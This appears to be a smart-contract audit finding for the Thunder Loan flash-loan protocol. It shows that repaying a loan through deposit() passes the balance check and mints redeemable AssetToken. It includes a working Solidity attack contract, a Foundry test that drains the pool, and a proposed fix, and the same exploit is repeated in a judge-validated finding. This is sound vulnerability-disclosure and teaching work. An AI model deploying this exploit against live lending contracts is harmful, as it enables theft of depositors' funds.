Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Severity: high
Valid

Flash loan returned via `deposit()` instead of `repay()` → attacker mints AssetToken and drains all protocol funds

Description

  • Normal: Flash loans must be repaid through the designated repay() function. The balance check in flashloan() verifies funds were returned, but cannot distinguish repayment method.

  • Bug: An attacker can return the flash loan using deposit() instead of repay(). The flashloan() balance check passes (balance increased), and the attacker receives AssetToken from the deposit. These AssetTokens can then be redeemed for underlying tokens, draining the protocol.

// flashloan() only checks balance — not HOW it was repaid
uint256 endingBalance = token.balanceOf(address(assetToken));
if (endingBalance < startingBalance + fee) {
revert ThunderLoan__NotPaid();
}
//@> deposit() also increases the balance and passes this check — but mints AssetToken too!

Risk

Likelihood:

  • Any malicious flash loan receiver can implement this attack

  • The attack fits within a single transaction atomically

  • No special privileges or preconditions needed

Impact:

  • All funds in the protocol can be stolen

  • Attacker receives AssetToken from deposit → redeem for underlying tokens

  • The protocol's entire asset balance can be drained repeatedly

Proof of Concept

Attack contract (place in mocks/attack.sol):

contract Attack {
address s_thunderLoan;
constructor(address thunderLoan) {
s_thunderLoan = thunderLoan;
}
function executeOperation(
address token, uint256 amount, uint256 fee,
address initiator, bytes calldata
) external returns (bool) {
IERC20(token).approve(s_thunderLoan, amount + fee);
//@> Return via deposit() — NOT repay()
IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee);
return true;
}
function sendAssetToken(address assetToken) public {
IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this)));
}
}

Test (in ThunderLoanTest.t.sol):

function testAttackDrainViaDeposit() public setAllowedToken hasDeposits {
uint256 amountToBorrow = AMOUNT * 10;
vm.startPrank(user);
tokenA.mint(address(attack), AMOUNT);
thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, "");
attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA)));
thunderLoan.redeem(tokenA, type(uint256).max);
vm.stopPrank();
assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))), DEPOSIT_AMOUNT);
}
forge test --match-test testAttackDrainViaDeposit -vvv

Recommended Mitigation

+ uint256 private s_flashLoanBlock;
function flashloan(...) external {
+ s_flashLoanBlock = block.number;
// ...
}
function deposit(IERC20 token, uint256 amount) external {
+ require(block.number != s_flashLoanBlock, "Cannot deposit during flash loan");
// ...
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 3 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] All the funds can be stolen if the flash loan is returned using deposit()

## Description An attacker can acquire a flash loan and deposit funds directly into the contract using the **`deposit()`**, enabling stealing all the funds. ## Vulnerability Details The **`flashloan()`** performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing **`endingBalance`** with **`startingBalance + fee`**. However, a vulnerability emerges when calculating endingBalance using **`token.balanceOf(address(assetToken))`**. Exploiting this vulnerability, an attacker can return the flash loan using the **`deposit()`** instead of **`repay()`**. This action allows the attacker to mint **`AssetToken`** and subsequently redeem it using **`redeem()`**. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert. ## POC To execute the test successfully, please complete the following steps: 1. Place the **`attack.sol`** file within the mocks folder. 1. Import the contract in **`ThunderLoanTest.t.sol`**. 1. Add **`testattack()`** function in **`ThunderLoanTest.t.sol`**. 1. Change the **`setUp()`** function in **`ThunderLoanTest.t.sol`**. ```Solidity import { Attack } from "../mocks/attack.sol"; ``` ```Solidity function testattack() public setAllowedToken hasDeposits { uint256 amountToBorrow = AMOUNT * 10; vm.startPrank(user); tokenA.mint(address(attack), AMOUNT); thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, ""); attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA))); thunderLoan.redeem(tokenA, type(uint256).max); vm.stopPrank(); assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))), DEPOSIT_AMOUNT); } ``` ```Solidity function setUp() public override { super.setUp(); vm.prank(user); mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan)); vm.prank(user); attack = new Attack(address(thunderLoan)); } ``` attack.sol ```Solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol"; interface IThunderLoan { function repay(address token, uint256 amount) external; function deposit(IERC20 token, uint256 amount) external; function getAssetFromToken(IERC20 token) external; } contract Attack { error MockFlashLoanReceiver__onlyOwner(); error MockFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; constructor(address thunderLoan) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata /* params */ ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); if (initiator != s_owner) { revert MockFlashLoanReceiver__onlyOwner(); } if (msg.sender != s_thunderLoan) { revert MockFlashLoanReceiver__onlyThunderLoan(); } IERC20(token).approve(s_thunderLoan, amount + fee); IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee); s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)); return true; } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } function sendAssetToken(address assetToken) public { IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this))); } } ``` Notice that the **`assetLt()`** checks whether the balance of the AssetToken contract is less than the **`DEPOSIT_AMOUNT`**, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher. ## Impact All the funds of the AssetContract can be stolen. ## Recommendations Add a check in **`deposit()`** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **`flashloan()`** and checking it in **`deposit()`**.

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